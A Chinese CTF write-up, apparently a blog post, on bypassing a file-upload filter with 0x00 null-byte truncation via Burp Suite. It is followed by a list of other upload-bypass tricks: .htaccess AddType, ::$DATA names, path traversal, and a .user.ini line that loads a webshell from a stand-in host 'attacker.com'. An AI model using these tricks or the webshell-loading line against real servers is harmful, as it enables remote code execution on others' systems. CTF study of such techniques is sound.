CTF实验吧-上传绕过【0x00截断】

原题内容:

 

bypass the upload

格式:flag{}

 

解题链接: http://ctf5.shiyanbar.com/web/upload 

首先随手上传了一个图片,

得到返回:

 

再尝试php文件,得到返回

很明显,题意为卡住php后缀,逼迫你上传文件后缀为jpg等类型,典型的上传绕过问题上传绕过解题思路可参考我转载的【文件上传检测的基本思路】,一般按照思路逐步尝试即可,简单的大小写,加后缀不可过,此题无js,猜测为0x00截断上传,此处仔细分析何为0x00截断上传及其原理

简单举个例子:

 

<% 
path="upfiles/picture/" 
file="20121212.jpg" 
upfilename=path & file '最后的上传地址 
%> 


upfilename即为最终名字,意思为如果地址为picture/1.php+,文件名为1.jpg则最终上传上去的文件路径为picture/1.php+1.jpg,0x00截断的思路即为将+之后的内容忽略掉使上传文件1.jpg最终上传到1.php中,此处利用到的就是0x00的截断漏洞,下面用题目做具体说明:

 

首先bp上传图片,将数据包发到repeater,并对/uploads/后面加上1.php+,此处相当于上述例子中的path:

然后打开hex(16进制),找到+对应的编码:

0x00的意思为16进制00,所以讲+对应的进制改成00(至于怎么找到对应代码,看右边对应代码,找到第几行,从左到右,每个字母对应一个代码),改完直接go

内容就是这些了,flag自行尝试吧,有疑问欢迎留言或者私信

CTF比赛中,绕过文件上传的黑名单限制是常见的挑战之一。攻击者通常会利用服务器端代码对文件类型验证的漏洞来实现绕过。以下是一些常见的绕过技巧: ### 1. 利用 `.htaccess` 文件解析漏洞 通过上传一个恶意的 `.htaccess` 文件,可以修改服务器的行为,使得原本被禁止的文件类型(如 `.php`)能够被当作可执行脚本处理。例如,可以在 `.htaccess` 文件中添加如下内容: ```apache AddType application/x-httpd-php .jpg ``` 这样,服务器会将 `.jpg` 文件视为 PHP 脚本进行解析和执行 [^1]。 ### 2. 使用 `0x00` 截断技术 某些情况下,服务器端代码可能对文件名进行截取或拼接时存在漏洞。攻击者可以通过在文件名中插入空字节(`%00` 或 `0x00`)来截断字符串,从而绕过文件类型检查。例如,上传一个文件名为 `t.php%00.jpg` 的文件,服务器可能会将其识别为 `t.php` 并执行其中的代码 [^2]。 ### 3. 利用中间件解析漏洞 不同的 Web 服务器(如 Apache、Nginx)或中间件可能存在特定的解析漏洞。例如,在某些配置下,Apache 可能会将带有多个扩展名的文件(如 `shell.php.jpg`)解析为 PHP 文件并执行其内容。这种行为取决于服务器的具体配置和模块设置 。 ### 4. 使用 `.user.ini` 文件 `.user.ini` 是 PHP 中的一个特殊配置文件,它允许用户自定义某些 PHP 设置。如果目标服务器支持此功能,可以通过上传一个包含 `auto_prepend_file` 或 `auto_append_file` 指令的 `.user.ini` 文件,强制服务器在每个 PHP 文件执行前或后加载一个远程或本地的 WebShell 文件。例如: ```ini auto_prepend_file=http://attacker.com/webshell.txt ``` 这会导致服务器在每次执行 PHP 文件时都会加载外部的 WebShell 文件,从而实现远程代码执行 [^3]。 ### 5. 利用文件包含漏洞 如果应用程序存在文件包含漏洞(如 `include()` 或 `require()` 函数使用不当),可以通过上传一个看似无害的文件(如图片或文本文件),然后通过文件包含漏洞将其作为脚本执行。例如,上传一个包含 PHP 代码的图片文件(如 `image.jpg`),并在请求中使用 `?page=image.jpg` 来触发文件包含漏洞 [^2]。 ### 6. 利用操作系统文件命名规则 某些操作系统(如 Windows)对文件名的处理方式与 Linux 不同。例如,Windows 允许使用长文件名,并且忽略某些特殊字符。可以通过构造特殊的文件名来绕过黑名单限制。例如,上传一个文件名为 `php.php::$DATA` 的文件,在某些环境下会被当作 `php.php` 处理 [^2]。 ### 7. 绕过路径检测 某些应用程序会对上传路径进行检测,但可能存在逻辑漏洞。例如,如果应用程序未正确处理路径中的 `../`,可以通过构造路径(如 `/up/1.php/../upload/evil.jpg`)将文件上传到任意目录。结合其他漏洞(如文件包含),可以进一步利用这些文件 [^3]。 ### 相关问题 1. 如何利用 `.htaccess` 文件实现文件上传绕过? 2. 在 CTF 比赛中,如何通过 `0x00` 截断技术绕过文件上传限制? 3. 什么是 `.user.ini` 文件的作用?如何利用它绕过文件上传黑名单? 4. 如何利用中间件解析漏洞上传恶意文件? 5. 文件包含漏洞如何与文件上传漏洞结合使用?
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值